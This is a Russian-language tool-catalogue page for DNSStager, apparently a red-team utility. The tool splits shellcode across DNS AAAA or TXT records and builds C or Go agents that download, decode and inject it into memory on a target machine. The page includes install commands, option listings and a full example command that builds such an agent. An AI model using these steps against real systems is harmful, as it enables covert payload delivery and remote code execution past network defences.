Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/mhaskar/dnsstager
Генерация полезной нагрузкиЭксплуатацияКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиАнализ DNS
GitHubmhaskar/dnsstager

DNSStager

Спрячьте свою полезную нагрузку в DNS

Репозиторий
6221333 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Что такое DNSStager?

DNSStager — это проект с открытым исходным кодом на Python, предназначенный для сокрытия и передачи полезной нагрузки (payload) через DNS.

DNSStager создаёт вредоносный DNS-сервер, который обрабатывает DNS-запросы к вашему домену и возвращает полезную нагрузку в ответ на запросы определённых типов записей, таких как AAAA или TXT, предварительно разделив её на части и закодировав с помощью различных алгоритмов.

DNSStager может сгенерировать пользовательский агент, написанный на C или GoLang, который будет разрешать последовательность доменов, извлекать полезную нагрузку, декодировать её и, наконец, внедрять в память с помощью любой выбранной вами техники.

Вы можете редактировать код агента DNSStager по своему усмотрению и собирать его, используя собственные методы выполнения.

Основная цель использования DNSStager — помочь специалистам по тестированию на проникновение (Red Teamers / pentesters) доставлять полезные нагрузки по скрытому каналу через DNS.

Как это работает?

В зависимости от выбранного вами типа DNS-ответа DNSStager разделит полезную нагрузку на части и сохранит каждую часть в ответе на поддомен.

Например, если вы выберете IPV6 в качестве способа получения полезной нагрузки, DNS-ответ будет выглядеть примерно так:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Где 5648:31d2:6548:8b52:6048:8b52:1848:8b52 — часть вашей полезной нагрузки.

Таким образом, агент будет разрешать некоторые домены, чтобы получить полезную нагрузку, затем декодировать её и в итоге внедрить в память.

В настоящее время DNSStager поддерживает только два типа записей: AAAA и TXT. Вы можете закодировать полезную нагрузку с помощью XOR для записи AAAA, а по умолчанию для записи TXT она будет закодирована в base64.

Ключевые возможности DNSStager

DNSStager обладает следующими ключевыми возможностями:

  • Сокрытие и разрешение полезной нагрузки в записях IPV6.
  • Сокрытие и разрешение полезной нагрузки в записях TXT.
  • Кодировщик XOR для кодирования полезной нагрузки.
  • Кодировщик Base64 для кодирования полезной нагрузки (только для записей TXT).
  • Чистый агент, написанный на C с возможностью его настройки.
  • Чистый агент, написанный на GoLang с возможностью его настройки.
  • Возможность установки паузы между каждым DNS-запросом.
  • И МНОГОЕ ДРУГОЕ ВПЕРЕДИ!

Требования

Вы можете установить зависимости Python для DNSStager с помощью:

pip3 install -r requirements.txt

Вам необходимо установить GoLang версии 1.16.3 и убедиться, что установлены следующие пакеты GoLang:

  • golang.org/x/sys
  • github.com/miekg/dns

Также убедитесь, что установлен ming-w64 с помощью:

apt install mingw-w64

Скрипт setup.sh должен сделать это за вас, но перед использованием проверьте требования!

Установка

Чтобы получить последнюю версию DNSStager, клонируйте её из этого репозитория следующей командой:

git clone https://github.com/mhaskar/DNSStager

Затем установите зависимости с помощью команды:

pip3 install -r requirements.txt

Также убедитесь, что установлены все вышеупомянутые требования.

После этого вы готовы запустить DNSStager от root для получения следующего:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

Использование

Чтобы начать использовать DNSStager, сначала настройте свой DNS. Вам нужно указать ваш домен на экземпляр DNSStager как NS запись, чтобы он обрабатывал все DNS-запросы к вашему домену.

Вы можете прочитать эту полную статью о настройке и использовании DNSStager.

Также вы можете посмотреть опции, используя ключ -h:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: этот параметр позволяет выбрать основной домен, который будет обрабатывать DNS-запросы.

  • --prefix: префикс, который будет использоваться в схеме поддоменов. Например, если ваш основной домен — fakedns.live, вы можете указать префикс cdn, и сгенерированные домены будут иметь следующий шаблон:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

Где N — автоматически сгенерированное число, соответствующее количеству частей вашей полезной нагрузки.

  • --payload: полезная нагрузка DNSStager («агент»), которую вы хотите сгенерировать, в зависимости от техники, языка программирования и архитектуры.

  • --output: путь для сохранения исполняемой полезной нагрузки DNSStager («агента»).

  • --shellcode_path: путь к вашему сырому/bin шеллкоду.

  • --xorkey: ключ XOR для кодирования полезной нагрузки.

  • --sleep: пауза в N секунд между каждым DNS-запросом.

  • --tcp: запустить и использовать DNS-сервер по протоколу TCP.

Полезные нагрузки DNSStager

Чтобы просмотреть доступные полезные нагрузки DNSStager, используйте ./dnsstager.py --payloads:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

Пример использования DNSStager с IPV6

В этом примере DNSStager будет разрешать вашу полезную нагрузку как IPV6 с использованием домена test.mydnsserver.live и префикса cloud-srv-, генерируя скомпилированный агент для x64 C, закодированный с ключом 0x10:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

Результат будет:

Alt text

Чтобы проверить, всё ли работает, отправьте DNS-запрос к cloud-srv-0.test.mydnsserver.live:

Alt text

Мы видим, что в ответ мы получили f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b — это первые 16 байт закодированной полезной нагрузки.

Затем вы можете запустить агент /tmp/a2.exe (как указано в параметре --output в командной строке) на целевой машине, и он загрузит все необходимые части, декодирует их и внедрит в память.

Ресурсы

  • DNSStager v1.0 stable: stealthier code, DLL agent & much more.
  • Unveiling DNSStager: A tool to hide your payload in DNS.

Лицензия

Этот проект лицензирован по лицензии GPL-3.0 — подробнее см. в файле LICENSE.

Скачать инструмент